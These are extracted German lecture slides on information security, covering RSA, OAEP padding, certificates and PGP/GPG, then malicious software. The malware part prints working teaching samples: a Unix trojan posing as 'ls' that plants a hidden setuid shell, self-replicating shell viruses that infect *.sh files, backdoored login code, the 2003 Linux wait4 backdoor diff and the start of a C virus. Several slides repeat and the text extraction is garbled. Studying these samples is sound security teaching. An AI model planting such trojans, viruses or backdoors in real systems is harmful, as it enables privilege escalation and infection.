4. Wähle e für den öffentlichen Schlüssel zufällig, so dassI 1 < e < ϕ(n) gilt undI e und ϕ(n) teilerfremd sind (ggT(ϕ(n),e) = 1).
75 / 126
RSASchlüsselgenerierung - Teil 2
5. Es muss für den privaten Schlüssel d gelten:
e · d mod ϕ(n) = 1.
Daher wird d mittels des erweiterten euklidischenAlgorithmus errechnet:
d = e−1 mod (p − 1)(q − 1).
6. Vernichte p und q.7. Schlüssel wurden generiert:
I der öffentliche Schlüssel ist (e,n),I der private Schlüssel ist d .
76 / 126
RSA(Stark vereinfachtes) Beispiel zur Schlüsselgenerierung
1. p = 47,q = 712. n = 47 · 71 = 33373. ϕ(3337) = (p − 1)(q − 1) = 46 · 70 = 32204. e muss teilerfremd sein zu 3220, e = 795. d = 79−1 mod 3220 = 10196. Schlüssel:
I (e,n) = (79,3337)I d = 1019
77 / 126
RSAVorgang des Ver- und Entschlüsselns
VerschlüsselungI gegeben: Public Key (e,n), Klartextnachricht mI m in Blöcke mi zerlegen, für deren Größe L < n gelten
mussI blockweise modular exponieren:
ci = mei mod n
EntschlüsselungI gegeben: Private Key d , Chiffrat ci
I blockweise modular exponieren
mi = cdi mod n
78 / 126
RSABeispiel zum Verschlüsseln
Fortsetzung des Beispiels:I (e,n) = (79,3337)I d = 1019I m = 6882326879666683 („DR DOBBS“)I willkürliche Zerlegung in Blöcke von 3 ZeichenI → m1 = 688,m2 = 232,m3 = 687,m4 = 966,m5 =
668,m6 = 003 (links mit Nullen aufgefüllt!)Verschlüsselung:
c1 = me1 mod n = 68879 mod 3337 = 1570
c2 = me2 mod n = 23279 mod 3337 = 2756
usw .
Ergebnis: c = 1570 2756 2091 2276 2423 158
79 / 126
40
RSABeispiel zum Entschlüsseln
Entschlüsselung:
m1 = cd1 mod n = 15701019 mod 3337 = 688
m2 = cd2 mod n = 27561019 mod 3337 = 232
usw .
Ergebnis: m = 688 232 687 966 668 3
80 / 126
RSAWarum funktioniert das ganze (in a Nutshell)?
I Nach den Regeln des Rechnens mit Restklassen gilt:
cdi mod n = (me
i mod n)d mod n = medi mod n = . . .
I da definitionsgemäß ed ≡ 1 mod ϕ(n), gilted = 1 + kϕ(n), k ∈ Z, also:
· · · = m1+kϕ(n)i mod n = mim
kϕ(n)i mod n = . . .
I per definitionem gilt weiterhin n = pq undϕ(n) = (p − 1)(q − 1), also
· · · = mimk(p−1)(q−1)i mod pq =
(m(p−1)(q−1)
i
)kmi mod pq
81 / 126
RSAWarum funktioniert das ganze (Teil 2)?
I Der Satz von Euler besagt:
x (p−1)(q−1) mod pq = 1 , wenn ggT(x ,pq) = 1.
I bezugnehmend auf das letzte Ergebnis ergibt sich so:
(m(p−1)(q−1)
i
)kmi mod pq = 1kmi mod pq = . . .
I und da schließlich mi < n = pq, ergibt sich endlich
· · · = mi mod pq = mi .
Fazit: RSA funktioniert.
82 / 126
RSABemerkungen
I viel geringere Geschwindigkeit als symmetrischeVerfahren (ca. Faktor 1000)
I bis zum Jahr 2000 patentiert (RSA Security, Inc.)I kryptologisch bislang nicht gebrochenI Als öffentlicher Schlüssel e werden häufig die Werte 3, 17
und 216 + 1 = 65537 gewählt, da sie wenig Aufwand beimVerschlüsseln (bzw. Verifizieren der Signatur) verursachen
I Ähnliche kleine Werte für d sind unmöglich, da derAngreifer sonst (Brute-Force) alle möglichenSchlüsselwerte durchprobieren könnte.
83 / 126
RSAProbleme beim „schulbuchmäßigen“ Einsatz
I gleiche Klartextblöcke erzeugen gleiche Chiffratblöcke(analog ECB)
I Klartext-Werte 1, 0 und -1 erzeugen Chiffrate 1, 0 und -1I RSA ist verformbar (malleable): Angreifer kann das Chiffrat
verändern, was zu einer Transformation des Klartextesführt, ohne zu entschlüsseln:I Alice schickt Bob y = xe mod nI Mallory ersetzt y durch y ′ = sey (s ∈ Z)I Bob entschlüsselt y ′:
y ′d mod n = (sey)d mod n
= (sexe mod n)d mod n
= (sx)ed mod n= sx mod n
Abhilfe: Padding84 / 126
RSAOptimal Asymmetric Encryption Padding (OAEP)
7.7 RSA in Practice: Padding 193
length of the message in bytes. A hash function computes a message digest of fixedlength (e.g., 160 or 256 bit) for every input. More about hash functions is foundin Chap. 11. Furthermore, let L be an optional label associated with the message(otherwise, L is an empty string as default). According to the most recent versionPKCS#1 (v2.1), padding a message within the RSA encryption scheme is done inthe following way:
1. Generate a string PS of length k−|M|−2|H|−2 of zeroed bytes. The length ofPS may be zero.
2. Concatenate Hash(L), PS, a single byte with hexadecimal value 0x01, and themessage M to form a data block DB of length k−|H|−1 bytes as
DB = Hash(L)||PS||0x01||M.
3. Generate a random byte string seed of length |H|.4. Let dbMask = MGF(seed,k−|H|−1), where MGF is the mask generation func-
tion. In practice, a hash function such as SHA-1 is often used as MFG.5. Let maskedDB = DB⊕dbMask.6. Let seedMask = MGF(maskedDB, |H|).7. Let maskedSeed = seed ⊕ seedMask.8. Concatenate a single byte with hexadecimal value 0x00, maskedSeed and
maskedDB to form an encoded message EM of length k bytes as
EM = 0x00||maskedSeed||maskedDB.
Figure 7.3 shows the structure of a padded message M.
0x00Hash(L)seed |||
k
k−|H|−1|H|1
seedMask dbMask
MPS 0x01
Fig. 7.3 RSA encryption of a message M with Optimal Asymmetric Encryption Padding (OAEP)
On the decryption side, the structure of the decrypted message has to be verified.For instance, if there is no byte with hexadecimal value 0x01 to separate PS fromM, a decryption error occurred. In any case, returning a decryption error to the user(or a potential attacker!) should not reveal any information about the plaintext.
Abbildung: Ablauf beim OAEP10
10Christof Paar und Jan Pelzl. Understanding Cryptography. Springer, 2010, S. 193.85 / 126
41
Sicherheit von RSA
I Gegner besitzt e und nI um d zu ermitteln, kann er n faktorisieren (in pq).
d ≡ e−1 mod ((p − 1)(q − 1))
I bislang unbewiesen, ob die Faktorisierung zwingendnotwendig ist, um d zu errechnen
I ebenso möglich: Brute-Force-Angriff auf d(Durchprobieren) nur erfolgversprechend, wenn d sehrklein
I p und q müssen vernichtet werden, aus ihnen kann dergeheime Schlüssel trivial ermittelt werden.
I Seitenkanalangriffe (z. B.) über Leistungsaufnahme beiVerschlüsselung (Simple Power Analysis)
86 / 126
Exkurs: Seitenkanalangriff (Side Channel Attack)
I Angriffe richten sich nicht gegen den Algorithmus, sonderneine bestimmte Implementierung
I es werden bestimmte Parameter des den Algorithmusausführenden Systems gemessen, z. B.I AusführungszeitenI Cache-Hit- (bzw. -Miss-) RateI aufgenommene LeistungI elektromagnetische AbstrahlungI Geräuschemissionen
I Aus den ermittelten Parametern werden Informationenüber den Programmfluss extrahiert, die das Brechen desVerfahrens (oder eines bestimmten Schlüssels)vereinfachen.
Beispiel: durch das „Belauschen“ des Busprotokolls(CPU-RAM) und genauer Kenntnis der Implementation kannman die Schlüssellänge ermitteln.
87 / 126
Seitenkanalangriff
Beispiel:I verschiedene Tasten einer Computertastatur oder eines
Geldautomaten produzieren verschiedene Geräusche (fürden Menschen nicht unterscheidbar)
I Aufzeichnen und nachträgliches Auswerten kann Texte,PINs, Passworte ermitteln (z. B. mittels neuronaler Netze)
I Asonov/Agraval: Keyboard Acoustic Emanations. IEEESymposium on Security and Privacy, 2004
Gegenmaßnahmen:I Reduktion oder Elimination der EmissionI Vereinheitlichung (z. B. von Cachezugriffen oder
Ausführungszeiten)I asynchrone CPUs
88 / 126
Faktorisierungsverfahren
I unbekannt, zu welcher Komplexitätsklasse das Problem„Faktorisierung“ gehört
Einfachstes Verfahren: Versuchsweise Division bis√
nStand der Technik sind die folgenden schwierigen Algorithmen:I KettenbruchmethodeI Quadratisches Sieb (QS); nur für Zahlen < 110
DezimalstellenI Zahlkörpersieb (Number Field Sieve; NFS); effizientester
bislang bekannter AlgorithmusI Shor-Algorithmus - kann in P faktorisieren, erfordert aber
Quantencomputer
89 / 126
RSA Factoring Challenge
I Wettbewerb „Wer faktorisiert als erster definierte Zahlengroßer Länge?“
I 1991–2007I Ziel: Nachweis/Falsifizierung der Sicherheit des
RSA-KryptosystemsI Preisgeld:
∑635.100$
Beispiel: RSA-100
= 15226050279225333605356183781326374297180681149613
80688657908494580122963258952897654000350692006139
= 37975227936943673922808872755445627854565536638199
∗ 40094690950920881030683735292761468389214899724061
90 / 126
RSA Factoring ChallengeAusgewählte Ergebnisse
Zahl Bits Dez.-Stellen Lösungsjahr CPU-Jahre
RSA-100 330 100 1991
RSA-140 463 140 1999 8.9
RSA-155 512 155 1999 35.7
RSA-160 530 160 2003
RSA-576 576 174 2003
RSA-640 640 193 2005 55
RSA-200 663 200 2005 30
RSA-768 768 232 2010 ≈ 1500
91 / 126
42
Signieren (und Verifizieren) mittels RSA
Voraussetzung: Bob hat ein Schlüsselpaar(KB,priv = d ,KB,pub = (e,n)) erzeugt.
Ablauf:1. Bob übermittelt Alice seinen öffentlichen Schlüssel KB,pub.2. Bob signiert die Nachricht M, d. h. , er verschlüsselt diese
mit KB,priv . Es entsteht Bobs Signatur über MsigB(M) = Md mod n.
3. Bob übermittelt M und sigB(M) an Alice.4. Alice entschlüsselt die Signatur mit Bobs öffentlichem
Schlüssel
M ′ : = (sigB(M))e mod n =(
Md mod n)e
mod n
= Mde mod n
5. Alice vergleicht das Dechiffrat M ′ mit der empfangenenNachricht M. Gilt M ′ = M, dann ist die Signatur gültig,ansonsten ungültig.
92 / 126
Signieren (und Verifizieren) mittels RSAFazit
2 Merkmale werden durch eine gültige Signatur bewiesen:1. Nachricht M kommt von Bob (, da nur er den für die
Erzeugung der Signatur nötigen privaten Schlüsselbesitzt). – Authentizität
2. Die Nachricht M wurde nicht verändert. – IntegritätBei ungültiger Signatur kann i.a. nicht unterschieden werden,welche der beiden Fakten nicht stimmen.
Des weiteren kann Bob die geleistete Unterschrift nichtabstreiten („non-repudiation“).
93 / 126
Management öffentlicher SchlüsselZertifikate
Problem: Übereinstimmung öffentlicher Schlüssel — IdentitätLösung: Zertifikat = Nachricht, dieI Repräsentation der Identität,I zugehörigen öffentlichen Schlüssel,I Zeitstempel oder Geltungsdauer
enthält und durch eine vertrauenswürdige Instanz (Trent,“Issuer”, Certification Authority) signiert wurde.
Def.: Ein Zertifikat ist eine Einheit, die einen kryptografischenSchlüssel an eine Identität bindet.
94 / 126
Zertifikate für öffentliche SchlüsselPrinzip
����������������������������
����������������������������
���������������������
���������������������
������������������������E
Alice’ Public Key
Alice’ ID
Informationen der CA
Erstellung des Zertifikats
Private Key der CA
Hash des unsigniertenZertifikats
H
unsigniertes Zertifikat
D
H
Public Key der CA
Signatur des Zertifikats
=?
Prüfung des Zertifikats
95 / 126
Management öffentlicher SchlüsselAufbau eines Zertifikats; formal
Ein durch Zertifizierungsinstanz CA ausgestelltes Zertifikat fürNutzer A enthält:
Cert(CA,A) = {IDCA, IDA,eA,T,Ext, sigCA}
mitsigCA = dCA {H(IDCA, IDA,eA,T,Ext)}
Legende:
IDA eindeutiger Name des Teilnehmers AeA öffentlicher Schlüssel des Teilnehmers A
dCA privater Schlüssel der CAT Gültigkeitszeitraum des Zertifikats
sigCA digitale Signatur der CAH(j) kryptografischer Hash über jExt optionale Erweiterungen nach X.509
96 / 126
Verifikation einer digitalen SignaturSchritt 1: Verifikation der Signatur
Bob möchte Alice’ Signatur prüfen. Dazu muss er1. Alice’ Zertifikat besorgen (enthält den zur Unterschrift
passenden öffentlichen Schlüssel eA),2. mit eA den ursprünglichen Hashwert des Dokuments H1
entschlüsseln,3. den aktuellen Hashwert des Dokuments H2 ermitteln,4. Signatur passt zu Zertifikat, wenn H1 = H2.
97 / 126
43
Verifikation einer digitalen SignaturSchritt 2: Verifikation des Zertifikates
Nun muss Bob prüfen, ob das Zertifikat stimmt:1. den öffentlichen Schlüssel eCA der CA besorgen, die Alice’
Zertifikat ausgestellt hat,2. mit eCA den ursprünglichen Hashwert des Zertifikats H3
entschlüsseln,3. den aktuellen Hashwert des Zertifikats H4 ermitteln,4. das Zertifikat ist gültig, wenn H3 = H4.
98 / 126
Bob verifiziert Alice’ SignaturPrinzipielle Struktur einer Public Key Infrastructure (PKI)
CA1
Root-CACA
Cert(CA, CA)
Cert(CA, CA1)
Bob Alice
Text
sigAlice[Text]
Cert(CA1, Alice)
99 / 126
Aufbau eines ZertifikatesX.509 (ISO Authentication Framework)
Version
Seriennummer
Algorithmen-identifikation
Aussteller (Issuer)
Geltungsdauer
Betreff (Subject)
Public Key
Signatur
I Version: des Protokolls (1, 2oder 3)
I Seriennummer: eindeutiginnerhalb der CA
I Algorithmus: der Signatur (zumNachvollzug)
I Aussteller: eindeutiger Name derCA
I Betreff: dem Public Keyzugeordnete Identität
I Signatur: ausgestellt durch CA
100 / 126
Zertifikatseigenschaften
Abbildung: Issuer und Subject im Zertifikat (Beispiel)
101 / 126
Namen im X.509-Zertifikat
Benennung von Issuer und Subject in X.509 erfolgt mittelshierarchischem Distinguished Naming des X.500-Protokolls mitden folgenden Feldern:
Bedeutung Beispielcn Common Namee E-Mail-Address [email protected]
ou Organization Unit TC TrustCenter Class 2 CAo Organization Name TC TrustCenter for Security
in Data Networks GmbHl Locality Name Hamburg
st State Name Hamburgc Country de
102 / 126
Certification Authorities (Zertifizierungsstellen)
Def.: Eine Einheit, die Zertifikate ausstellt, wird CertificationAuthority (CA) genannt.
CAA
CAC CAB
CAE
Alice
CAD
Bob
I jede CA besitzt ein Zertifikat,das von der direkt über und derdirekt unter ihr liegenden CAsigniert ist
I zuoberst: Master CA (hier: CAE )I Es entsteht eine
Zertifizierungshierarchie.I CAs können sich gegenseitig
zertifizieren (Cross Certification)
103 / 126
44
Certification Authorities
Einige Unternehmen bieten Zertifizierung als Dienstleister an,so z. B.:I VeriSign, Inc.11,I Thawte,I Deutsche Post AG,I T-Systems.
Darüber hinaus gibt es gemeinnützige Organisationen, die dasgleiche kostenfrei oder preiswert anbieten.I CAcertI DFN e. V.
Zertifikate bekannter CAs sind in typischer Software (Browser,E-Mail-Client) eingebaut.
11VeriSign ist interessanterweise Betreiber der TLDs .com und .net sowie Eigentümer von Jamba!104 / 126
Problem des zentralisierten Modells
Problem: Kann man der CA unbedingt vertrauen?Antwort: Leider nein:I Einbruch in (niederländische Firma) DigiNotar 2011,
Angreifer stellten sich unberechtigte Zertifikate aus, diesewurden mißbräuchlich zur Überwachung iranischer Bürgergenutzt12
I (türkische CA) Türktrust stellte im August 2011 irrtümlich 2Zertifikate aus, mit denen sich beliebige Domainszertifizieren lassen
12http://www.rijksoverheid.nl/bestanden/documenten-en-publicaties/rapporten/2012/08/13/black-tulip-update/black-tulip-update.pdf
105 / 126
Rücknahme von Zertifikaten (Certificate Revocation)
Problem: Schlüssel können vor ihrem „Verfallsdatum“ ungültigwerden, z. B. bei Kompromittierung eines privaten Schlüssels→ zugehöriges Zertifikat muss zurückgezogen werden
a) Certificate Revocation List (CRL)I zentrale Datenbank der CA mit allen ungültigen ZertifikatenI beim Prüfen eines Zertifikates muss CRL durchsucht
werdenI Voraussetzung: Teilnehmer sind permanent onlineI z. B. X.509
b) Fast ExpirationI kurze Gültigkeitsdauer des Zertifikats (10’. . . 24h)I nutzt Mechanismus der begrenzten LebensdauerI Voraussetzung: Teilnehmer sind permanent online
c) Online Certificate VerificationI Zertifikatsprüfung durch zentrale InstanzI schnell, zuverlässigI OCSP (Online Certificate Status Protocol)
106 / 126
Schlüsselzertifizierung bei PGP„Web of Trust“
I keine ZertifizierungsinstanzenI Benutzer unterzeichnen öffentliche Schlüssel gegenseitigI behalten Kopien der unterzeichneten SchlüsselI Keysigning PartyI erlaubt individuelle Beurteilung:
I Vertrauen in die Gültigkeit eines SchlüsselsI Zuverlässigkeit der Unterschrift eines TeilnehmersI Zuverlässigkeit eines Teilnehmers, andere Schlüssel zu
zertifizierenI auch nicht vertrauenswürdige Schlüssel können benutzt
werdenI Hauptproblem: Schlüsselrücknahme (→ Key Revocation
Certificate)
107 / 126
Beispiel für Vertrauensmodell im PGP
Quelle: Bruce Schneier, Angewandte Kryptographie. Pearson, 2006, S. 665
108 / 126
Schlüsselaufbewahrung
I öffentliche Schlüssel sind einfach aufzubewahrenI ihre Integrität muss gesichert seinI Nutzung der Zertifikate
I geheime Schlüssel und Schlüssel für symmetrischeKryptografie?I persistent in Datei; Nutzung von BS-Mechanismen zum
ZugriffsschutzI verschlüsselte Abspeicherung (hilft nicht gegen Keylogging)I ROM oder SmartcardI Problem: Diebstahl der SmartcardI Verbesserung: Verteilung auf mehrere Karten oder Karte
und Lesegerät
109 / 126
45
Pretty Good Privacy (PGP)
I ist eine Software zumVerschlüsseln und Signieren vonE-Mails
I 1991 durch Phil Zimmermannentwickelt
I erste Implementierung vonPublic-Key-Kryptografie für dieAllgemeinheit
I unterlag restriktivenExportbestimmungen (als Buchexportiert)
I nutzt hybride Kryptografie
http://upload.wikimedia.org/wikipedia/commons/7/77/PRZ_closeup.jpg
110 / 126
PGP
I nutzte (ursprünglich) IDEA zur symmetrischenVerschlüsselung, MD-5 als Hash und RSA zurPublic-Key-Kryptografie
I Web of Trust anstatt CAsI wechselvolle EntwicklungsgeschichteI zeitweise Eigentum von Network Associates (aka McAfee)I in dieser Zeit Weiterentwicklung als Closed Source
(Vertrauen verschwunden)I wieder zurück an die PGP CorporationI als kommerzielle Software entwickelt und vertriebenI → OpenPGP-Standard als offene Alternative
111 / 126
Gnu PrivacyGuard (GPG)
I freie und patentfreie Implementierung desOpenPGP-Standards (RFC 4880)
I nutzt DSA, ElGamal, SHA-1, CAST5 (symmetrischeBlockchiffre)
I alle gängigen Desktop-Betriebssysteme (Unixe, Windows,MacOS) unterstützt
I in Standardsoftware (MUA, Browser, Chatsoftware) bereitsintegriert, aber auch als Kommandozeilenprogrammnutzbar
I unterstützt Schlüsselserver, die öffentliche Schlüsselsammeln und anbieten (Beispiel: http://pgp.mit.edu)
112 / 126
Nutzung von GPG. . . an der Kommandozeile
I gpg --gen-key erzeugt den Schlüsselring (Key Ring)sowie das Schlüsselpaar
I gpg --export --armor extrahiert den Public Key undschreibt diesen als 7-Bit-Zeichen nach stdout oder ineine Datei
I gpg --import [datei] importiert einen Schlüssel inden Keyring
I gpg --sign <datei> signiert die DateiI gpg --verify <datei> überprüft die Signatur,
vorausgesetzt, der öffentliche Schlüssel steht zurVerfügung
I gpg -s <datei> verschlüsselt symmetrischI gpg -e / -d ver- bzw. entschlüsselt asymmetrisch
113 / 126
SchlüsselsicherheitDer Word-Makro-Virus „Caligula“ (W97M/Caligula.a)
“Searches for PGP Secure Keyring using registryentry to get PGP installed path. [. . . ] If user name isnot ’Caligula’, runs PGP Secure Keyring find and sendroutine - user name retrieved from registry [...] If filefound, file is uploaded to the virus author’s ftp siteusing a script file written as ’c:\cdbrk.vxd’ and usingftp.exe in a hidden process” (McAfee Virusdatenbank)
I Keyring läßt sich viel leichter knacken als eineverschlüsselte Nachricht, insbesondere beikurzer/schlechter Passphrase (Wörterbuch-Angriff)
I Die beste Verschlüsselung nützt nichts, wenn andereAspekte der Systemsicherheit vernachlässigt werden!
114 / 126
Exkurs: SchlangenölWoran erkennt man schlechte kryptografische Software?
Warning Sign No.1: Pseudo-mathematical gobbledygook.
I “Encryptor 4.0 uses a unique in-house developedincremental base shift algorithm”
I “From a mathematical point of view, the TTM algorithm isintuitively natural and less cumbersome to use thanmethods that are number-theory based.”(http://www.usdsi.com/ )
I “SuperKrypt products utilize the DNGT bulk encryptionmethod,”
I “Since key length and key structure vary and since theencryption engine does not use any mathematicalalgorithms, reverse engineering is impossible andguessing is not an option.”
(http://www.schneier.com/crypto-gram-9902.html) – TBC. . .
115 / 126
46
Vorlesung InformationssicherheitThema 5: Bösartige Software
Robert Baumgartl
28. Mai 2018
1 / 85
Überblick
Bösartige Software
unabhängigWirtsprogramm nötig
Hintertüren
Logische Bomben Viren Würmer Trojanische Pferde
verbreiten sich selbständig
Abbildung: Mögliche Kategorisierung bösartiger Software
I lokale vs. entfernte AngriffeI on-line- vs. off-line-Angriffe
2 / 85
Logische Bomben
Idee: Implantierung „bösartigen“ Codes in Applikationen (oderin das BS), Aktivierung des Codes, sobald eine bestimmteAktivierungsbedingung erfüllt
I Aktivierungsbedingung Eintritt eines Datums→ (logische)„Zeitbombe“ (Kalender von Aktivierungsdaten:http://vil.nai.com/vil/calendar/virus_calendar.aspx)
I meist simples Löschen von DatenI häufig eingesetzt, um „Rache“ für Entlassung o. ä. zu üben
3 / 85
Ausschnitt aus dem McAfee-Aktivierungskalender
12. Mai W97M/Alamat, W97M/Yous, VBS/Horty.b@MM,VBS/Horty.a@MM, WM/Alliance.A, WM/Envader.A(Intended), WM/Eraser.A:Tw, VBS/Aqui
13. Mai VBS/Aqui, VBS/Zync, WM/Eraser.A:Tw, VBS/Alphae,WM/Envader.A (Intended), Twno.A, WM/BOOM.A;B,WM/BADBOY.A;B;C, WM/FRIDAY.D, WM/FRIDAY.A,WM/Goldsecret.B:Int,WM/CVCK1.B;E,W97M/Rapmak.a, W97M/Yous, W97M/Alamat,WM/SHOWOFF.G, W97M/BackHand.A, W97M/Idea.A,W97M/Digma
14. Mai X97M/Jal.a, VBS/San@M, W97M/Este, W97M/Alamat,W32/SoftSix.worm, W97M/Yous, VBS/Valentin@MM,WM/PHARDERA.C ;D (INTENDED), W97M/Class.B,W97M/Class.D, W97M/Ekiam, WM/Eraser.A:Tw,VBS/Aqui
15. Mai . . .
4 / 85
Logische Bomben
Beispiel:I Donald Gene Burleson, Programmierer für Versicherung
USPA & IRA, Ft. Worth, TXI entlassen am 18. 9. 1985 (Grund: persönliche
Schwierigkeiten)I am 21. 9. 1985 um 3 Uhr werden 168.000 Datensätze aus
der Datenbank des Unternehmens gelöschtI Code wurde bei Restaurierung der gelöschten Datensätze
gefundenVor Gericht:
“Benson, who spent four days testifying about how heuncovered the scheme, said the destructive programswere created Sept. 2 and Sept. 3, 1985, on Burleson’scomputer terminal by someone using Burleson’scomputer password.”
(http://catless.ncl.ac.uk/Risks/7.56.html)5 / 85
Hintertüren (Back Doors)
Idee: Einbau (nichtdokumentierter) Schnittstellen in Softwarezwecks späteren (unautorisierten) Zugriffes auf das System.
I Mißbrauch von geheimen Debugging-SchnittstellenI schwierig von BS-Seite aus zu erkennenI häufiges Relikt aus der ProduktentwicklungI Behörden sind häufig der Meinung, ein Anrecht auf
Hintertüren zu habenI Gegenmaßnahme: Code Reviews, Open SourceI symmetrische vs. asymmetrische HintertürenI viele Würmer installieren Back DoorsI feste Master-BIOS-Passworte, z. B. lkwpeter bei Award
BIOS
6 / 85
47
Beispiel einer Hintertür
Beispiel: Login-Code mit Hintertür (Tanenbaum: ModernOperating Systems, 2001, S. 610)
while (TRUE) {printf("login: ");get_string(name);disable_echoing();printf("password: ");get_string(password);enable_echoing();v = check_validity(name, password);if (v || strcmp(name, "zzzzz") == 0)break;
}execute_shell(name);
7 / 85
Beispiel 2 (Backdoor im Linux-Kern; nice try)
From: Larry McVoy [email blocked]Subject: Re: BK2CVS problemDate: Wed, 5 Nov 2003 14:23:02 -0800
On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote:> Out of curiosity, what were the changed lines?--- GOOD 2003-11-05 13:46:44.000000000 -0800+++ BAD 2003-11-05 13:46:53.000000000 -0800@@ -1111,6 +1111,8 @@
schedule();goto repeat;
}+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))+ retval = -EINVAL;
retval = -ECHILD;end_wait4:
current->state = TASK_RUNNING;
---Larry McVoy lm at bitmover.com
8 / 85
Beispiel 2 (Backdoor im Linux-Kern; nice try)
I jemand modifizierte die Kernelquellen (unautorisiert)I fraglicher Code gehört zu sys_wait4(), d. h. dem
Systemruf wait4()I „verkleideter Code“; (current->uid = 0) sieht so
ähnlich aus wie (current->uid == 0)
I wenn jemand wait4() aufruft und die Optionen__WCLONE und __WALL sind gesetzt, so erhält derRufende root-Rechte
I Code wurde beim Review entdeckt (“It’s not a big deal, wecatch stuff like this, but it’s annoying to the CVS users.”)
9 / 85
BackdoorsWeitere Beispiele
I Das FBI hat (wahrscheinlich) Vertragspartner gebeten, denIPsec-Stack von OpenBSD mit Backdoors auszustatten(14. 12. 2010).http://marc.info/?l=openbsd-tech&m=129236621626462&w=2
I Die Konfiguration einiger Router der Firma D-Link kannmittels eines Browsers modifiziert werden, wenn derUser-Agent-String die Zeichenkette„mlset_roodkcableoj28840ybtide“ enthält (12. 10. 2013).http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
10 / 85
Trojanische Pferde („Trojaner“)
Idee: dem Nutzer ein Programm unterschieben, welches beiAktivierung unerlaubte Aktionen ausführt
I anstelle eines Eindringlings führt ein autorisierter NutzerSchadcode aus
I Beispiel: gefälschter Login-BildschirmI Klassiker: Compiler, der unbemerkt bösartigen Code in
übersetzte Programme einbaut (Ken Thompson:Reflections on Trusting Trust, CACM 4(27), S. 761ff.)
I vgl. „Staatstrojaner“ (früher: „Bundestrojaner“)I Strafverfolger dürfen Rechner kompromittieren, um ohne
Wissen des Betroffenen Kommunikation zu überwachenI am 22.6.2017 im Bundestag mittels intransparentem
Eilverfahren beschlossen
11 / 85
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*
I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle
ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit
denen des AufrufendenI Zugriff auf Daten des Angegriffenen
12 / 85
48
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*
I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle
ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit
denen des AufrufendenI Zugriff auf Daten des Angegriffenen
13 / 85
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*
I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle
ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit
denen des AufrufendenI Zugriff auf Daten des Angegriffenen
14 / 85
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*
I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle
ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit
denen des AufrufendenI Zugriff auf Daten des Angegriffenen
15 / 85
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*
I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle
ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit
denen des AufrufendenI Zugriff auf Daten des Angegriffenen
16 / 85
(Computer)-Viren
“A virus is a program that is able to infect otherprograms by modifying them to include a possiblyevolved copy of itself.” (Fred Cohen)
DefinitionA virus is a program that reproduces its own code by attachingitself to other executable files in such a way that the virus codeis executed when the infected executable file is executed.Anmerkungen:I Implementationssprache irrelevantI keine Schadroutine nötigI Wurm ist ggf. auch ein VirusI Beispiele: Bootsektor-V., Makro-V., polymorphe V.
17 / 85
Beispiel für viralen (virulenten?) Code
for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;
fidone
Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)
18 / 85
49
Beispiel für viralen (virulenten?) Code
for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;
fidone
Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)
19 / 85
Beispiel für viralen (virulenten?) Code
for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;
fidone
Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)
20 / 85
Beispiel für viralen (virulenten?) Code
for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;
fidone
Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)
21 / 85
Beispiel für viralen (virulenten?) Code
for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;
fidone
Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)
22 / 85
Ein (etwas) besserer Virus
for i in *.sh; doif test "./$i" != "$0"; thenHOST=$(echo -n $(tail -10 $i))VIR=$(echo -n $(tail -10 $0))if [ "$HOST" != "$VIR" ]thentail -n 10 $0 | cat >> $i;
fifi
done
23 / 85
Bestandteile eines Virus
I Infektionsmechanismus: Aufsuchen von Zielen,Replikation
I Routine(n) zum Verbergen: vor dem Nutzer oderAnti-Viren-Software
I Trigger: Entscheidung, ob bzw. wann Nutzlast aktiviertwird
I Nutzlast: zufälliger oder beabsichtigter Schaden oder„Spaß“
Beispiel: blackwolf.c (nächste Folie)
24 / 85
50
Simpler Virus in Cblackwolf.c, leicht modifiziert
# inc lude < s t d i o . h># inc lude <dos . h># inc lude < d i r . h>
FILE ∗Virus ,∗Host ;i n t x , y , done ;char b u f f [ 2 5 6 ] ;s t r u c t f f b l k f f b l k ;
main ( ){
